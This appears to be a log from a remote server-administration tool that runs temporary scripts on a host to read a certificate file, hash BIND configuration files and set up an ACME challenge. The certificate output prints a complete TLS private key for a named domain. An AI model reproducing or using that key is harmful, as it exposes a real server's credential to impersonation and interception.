PUT: /tmp/pkp227412

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-29 06:00:11: 

chmod 755 /tmp/pkp227412; /tmp/pkp227412; rm /tmp/pkp227412

2026-05-29 06:00:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt	3544
05:24:77:01:02:bd:da:b9:67:a5:24:18:dd:2b:84:43

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBWySWCFRlZe9aQfM21+cRKfEMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNTI5MDUwMTM4WhcNMjYwODI3MDUwMTM3WjAbMRkwFwYDVQQD
ExBjb25kb3IuaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA0f3lwfJHCdHA7aMrlRJ7+TL4rWOIw6wQoBQfS7mtWb+gjr2VOi3hiWtkbLss
dIVSqSU1RWXY/PlxbIV0yYF1F/4sWOb2pgrMwuAXKiWH4BYs+x4jERw5eqhKBHKP
AVwSEdDpCnlOHZmMQov+87ZEfsUWAfMLPsb+tVi1qiBO/rJYkDcCH7Vzr+ZfWmfh
FtWXlPHllrTx3vWi5soCGX3vmJsjzL9eethV0ugE2j1fhQRWYTu3JjcM8uVYrTq3
zuDf5GNyLznq8jUZm6mGhM+iQYpnQq4mny/0JfePFTjWNsl6osi/5iJAcyA+9E9W
Eko2OYlrLpSpVHnLQeexG9SqdQIDAQABo4ICHjCCAhowDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFF8T
lP+Za3IHTX8wPSUfZlgz+2FIMB8GA1UdIwQYMBaAFEAVLSZ57TIgnt+ach3WMh+B
DIEMMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIQY29uZG9yLmhvc3R6Lm9yZzATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8veXIyLmMubGVuY3Iu
b3JnLzY5LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2AMijxH/Hs625NWsB
P2p6Em3jOk5DpcZG+ZetOXWZHc+aAAABnnJRkFsAAAQDAEcwRQIhAOp/hFt/yslg
FE4qbYgQBHErqqjviEIvJlcS/9eRHRcpAiAK7bM/nIhskazeq+1ucXFAYrA+R+lU
G2J2X4k+VTBZ0AB+ABqLnWsP/r+BtHk5xtIxCobW0QLU8EbiGCyd419eJiXvAAAB
nnJRkP0ACAAABQAYHeyWBAMARzBFAiBDjtE2I1Qsxzwlvg61SOm4Cjag1uwMIrrh
PB8p9syMzgIhAKd4QUdN3MCsB7xx5YuBHnAepU1ax2QF+YdErS42ZZXyMA0GCSqG
SIb3DQEBCwUAA4IBAQBPD/QlaKCTlZtjabDcFAphLgKAJ8Bf+vXNAm+VrIVhX0Ze
8YxAIFLWrYK5txqSB6T/EEP+WKjcNeDlr1YvS/j6H6VTIYPjM6it9Z7F1MjVFnVK
XxwTLZtkrMhBhnvuuDSR0BtnI4tAOtkxik0+7yVzMcCQDTEJibn92opFxrEVQI/l
nIJ0HaGv79riVHGjl9B6hPRTs/iifgSmjsV2t70noBgZlypibihcKNnYTYpJZU4J
h8PZ4uIwMj3qYe/MgTpiNsJNKGgB5ahejxKx7vOd6xoHPj7ZQR/vW0PM1SID58W8
VFOtT1yO1enHpbD7rlovqcGalAffMWFEkVtnDJ7W
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDR/eXB8kcJ0cDt
oyuVEnv5MvitY4jDrBCgFB9Lua1Zv6COvZU6LeGJa2Rsuyx0hVKpJTVFZdj8+XFs
hXTJgXUX/ixY5vamCszC4BcqJYfgFiz7HiMRHDl6qEoEco8BXBIR0OkKeU4dmYxC
i/7ztkR+xRYB8ws+xv61WLWqIE7+sliQNwIftXOv5l9aZ+EW1ZeU8eWWtPHe9aLm
ygIZfe+YmyPMv1562FXS6ATaPV+FBFZhO7cmNwzy5VitOrfO4N/kY3IvOeryNRmb
qYaEz6JBimdCriafL/Ql948VONY2yXqiyL/mIkBzID70T1YSSjY5iWsulKlUectB
57Eb1Kp1AgMBAAECggEAEelMLazSrl27zQk78G0xMeJNH8z7n2UPzfepa7YcuSkF
Mues0NeVAzmryTJ16kJs+Ix57L9xMLK+H/mKKp3mNPOzKKoao7MMIBspHqkw28ZI
c+rwJsd3h6TPG24CEKWfzPE6z2/lX9T3B74VMwh68y0wYV4vuV0T4Lf+VtKGqma4
Yw59b/DtJLNDkLpgSzn7CoxIflnsLANxTYiGkfvzYR+S2M4i+7DJehxWD2oq+tbi
KZVQn+q02MDh7MS4d9PdfcWyzA6UzRfa1dowfrN8o6p6eYufnZt0v4dewI3TDGY5
SFyeK09hjI8G5AzgOZmXHEZANODpZHencHBceKC1AQKBgQDs/6GVG/J7DTsQioDt
mAxvW3AlP1qbedxUxDTZJ96w/aFou9Tahli15skfRsLQg2FeHyoqJqONnAkX+DkS
wB1/g8EPqvLNMe13zyF3MSCvaE93Cdr4saubh34cIl+szfEdtM/YVlXlAjOBRlCw
qPe/yHrm4FkZnyhiHLo7Afe2YQKBgQDi0/SRQ/N3JClrBdpDv4dhuGSTzGN5BQlO
0rjgSbW2uZ1/snCGQLa1rh8Sd7dEISaKsUkLzApZWnHiG75ElgeNXaYdMVLkbeiQ
CyIxiqO2hzQ+5gVpCjpSzbsEICj06sGSNZoVFhfKLcLolkh07/iUCDaFQupl+H+r
RT50ro4ElQKBgDokZLG+D3jcwBbIw+SGHtba6eJZbpMiDEnHcOetflaRgp29JvUN
bIoDumev5m9dK+/5WVDJ9enx09FLlkThWNtFqYF8gOCSVR3FdQJWzRv7TTN4+X11
qRIY5XllfW9ZfsO47hy24Y+zQIuAgp80dMNaHbyyYWmFwFSBk7aSPwFBAoGAct2r
KDUlAdyKLOxVz6EaSd468K28Yfiu8f+8J7isENCGdbhDS3lSDUcT7SI66IFxJyMI
PrUhOIaYzUwHWmwvfuNBz96+f3c5IljBBB2VMkXdq0yIyNypFG2im0A9/Wk0hXon
gS4i9fuejHIuVyl+1FgkY++zC9h/rpfuPOB4gtECgYEAskjIzPUzRmK24Ee6/xRx
Xlc9OsKeggt7XcOOcAURJFy5H27Icc/i4vZP0qzr54KIrLnZf8tpW96yRMtgnsOH
xTnn3KcApvK2wfglk+Xh+gqLQBwcZVYkV/ADPK93crgfDd2oOZnMXkNx+6bhKzW6
1n+ok40Gx7EdXqa9r5yKK2g=
-----END PRIVATE KEY-----







2026-05-29 06:00:11: Establishing a remote connection
2026-05-29 17:48:15: Establishing a connection
2026-05-29 17:48:22: Establishing a connection
2026-05-29 17:48:22: 

PUT: /tmp/pkp433759

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-29 17:48:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp433759; rm /tmp/pkp433759'

2026-05-29 17:48:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-31 06:00:02: Establishing a connection
2026-05-31 06:00:02: Establishing a connection
2026-05-31 06:00:03: 

PUT: /tmp/pkp817529

#!/bin/bash
if [ -d "/var/www/carelinks_new/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-31 06:00:03: 

chmod 755 /tmp/pkp817529; /tmp/pkp817529; rm /tmp/pkp817529

2026-05-31 06:00:03: 


1


2026-05-31 06:00:05: Establishing a connection
2026-05-31 06:00:05: 

PUT: /tmp/pkp739013

#!/bin/bash
mkdir -p "/var/www/carelinks_new/.well-known/acme-challenge/"
cd "/var/www/carelinks_new/.well-known/acme-challenge/"
cat > Tr7j4VuD08vnDfdPvNHACUwetWpUfykN8Rhs_ulhWNo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Tr7j4VuD08vnDfdPvNHACUwetWpUfykN8Rhs_ulhWNo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Tr7j4VuD08vnDfdPvNHACUwetWpUfykN8Rhs_ulhWNo


2026-05-31 06:00:05: 

chmod 755 /tmp/pkp739013; /tmp/pkp739013; rm /tmp/pkp739013

2026-05-31 06:00:05: 




